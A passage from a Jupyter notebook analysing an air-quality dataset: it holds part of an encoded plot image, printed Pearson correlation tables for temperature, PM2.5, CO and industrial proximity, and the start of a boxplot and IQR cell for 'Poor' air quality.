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Tp59+upRzIcqyS8uEoUOHMm3aNLp06ULnzp1JT0/nt99+49FHH6VVq1Z07NiRZ599lrS0NEBdn926dfOM/lm9ejVt2rQhNjY2T+99dHQ0Xbt2ZdmyZbRv354WLVrw6quv8tVXX3nqhuPGjfPUM4cOHcrixYuJjo7mmWee4ezZs0RERLB3714aNmyYZzrwwYMHadasGenp6UXmc8aMGezZs4elS5d6giJF5e1qde3alaVLl9KnTx8iIiLo06cPUVFRnu179+6lf//+NGvWjAcffJDTp097thU00iH3GAAcPXqUwYMH07JlS7p06cLUqVNJT09n48aNLF26lD179ng6G7t27cqsWbNo3749ffr0YdeuXXnqwV9//TUPPvggbdu2pWnTpgwZMuQvTTVZtWoVd999N4MGDeLDDz/MMwozOjqaTp068c9//pPIyEjeeustdF3n3XffpUePHkRGRjJo0CAOHTrk+UxRdXxQ9fZOnTrRqlUr+vfvz1dffXXNaRdlkwQuxFXJzMxk2LBh1KtXj++//57333+fnTt3em6gAD/99BOhoaFERUUxfvx45s+fT3R0NFu3bmXlypWsX78+T4NmzZo1LFy4kF27dlGnTh1Gjx6Nw+EgNjaWhx9+mLvvvpudO3fyxhtv8P7777NmzRrPZ3ft2sWkSZP45ptvPIVb/fr12b59O3v27KFDhw48++yzALzzzjtUrVqV2bNn5wmeFOXy/U+fPp2TJ0/y0Ucf8eWXX+Lr68vYsWNLLOIvRGlxOBxER0cTFRVF+/btATCbzfTq1YuNGzd63rd//350XadZs2ae1yIjI/NMKXG73Wzfvp1GjRoV+F0HDx7EZrMxZMgQWrduTb9+/fJUPoQQRTt16hRHjx6lV69e+bZVqFCBN954A5PJxK+//kqfPn0K3MfAgQP5+eefZcqIKFBBZcLOnTv58MMP2bJlCw6Hg3/84x/UrVuX77//ng0bNnDixAmmTJkCwPTp07Farbz00kscOXKEF198kRdffJHQ0NB833XmzBni4uL49ttvefXVV1m6dCmrV69m7dq1bNmyxVOHvFTr1q3zjAhu3rw5tWvXZsuWLZ73bNq0iR49euDr61tkXufNm0dkZCSjRo3izTffJCkpqci8XYsNGzawaNEidu7cSXh4uKdumpSUxKhRo+jRowe7d+9m8uTJfPnll1e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"
},
"metadata": {},
"output_type": "display_data"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"Pearson Correlation Coefficients (Ignore Air Quality):\n",
" Temperature PM2.5 CO \\\n",
"Temperature 1.000000 0.323840 0.685258 \n",
"PM2.5 0.323840 1.000000 0.395179 \n",
"CO 0.685258 0.395179 1.000000 \n",
"Proximity_to_Industrial_Areas -0.589564 -0.315766 -0.707581 \n",
"Air Quality -0.753567 -0.418171 -0.912534 \n",
"\n",
" Proximity_to_Industrial_Areas Air Quality \n",
"Temperature -0.589564 -0.753567 \n",
"PM2.5 -0.315766 -0.418171 \n",
"CO -0.707581 -0.912534 \n",
"Proximity_to_Industrial_Areas 1.000000 0.773637 \n",
"Air Quality 0.773637 1.000000 \n",
"\n",
"Correlation of CO with other attributes three attributes (Ignore Air Quality):\n",
"Temperature 0.685258\n",
"PM2.5 0.395179\n",
"CO 1.000000\n",
"Proximity_to_Industrial_Areas -0.707581\n",
"Air Quality -0.912534\n",
"Name: CO, dtype: float64\n"
]
}
],
"execution_count": 15
},
{
"metadata": {},
"cell_type": "markdown",
"source": "## 6. Boxplot for Air Quality = \"Poor\"",
"id": "bf46447f73f32d9e"
},
{
"metadata": {
"ExecuteTime": {
"end_time": "2025-02-21T18:42:45.187242Z",
"start_time": "2025-02-21T18:42:44.676271Z"
}
},
"cell_type": "code",
"source": [
"poor_air_quality_df = df[df[\"Air Quality\"] == 2]\n",
"\n",
"plt.figure(figsize=(8, 6))\n",
"sns.boxplot(x=poor_air_quality_df[\"PM2.5\"], color='lightblue')\n",
"\n",
"plt.title(\"Box Plot of PM2.5 for Air Quality = Poor\")\n",
"plt.xlabel(\"PM2.5 Concentration (µg/m³)\")\n",
"plt.show()\n",
"\n",
"pm25_stats = poor_air_quality_df[\"PM2.5\"].describe()\n",
"\n",
"# IQR\n",
"Q1 = pm25_stats[\"25%\"]\n",
"Q3 = pm25_stats[\"75%\"]\n",
"IQR = Q3 - Q1\n",
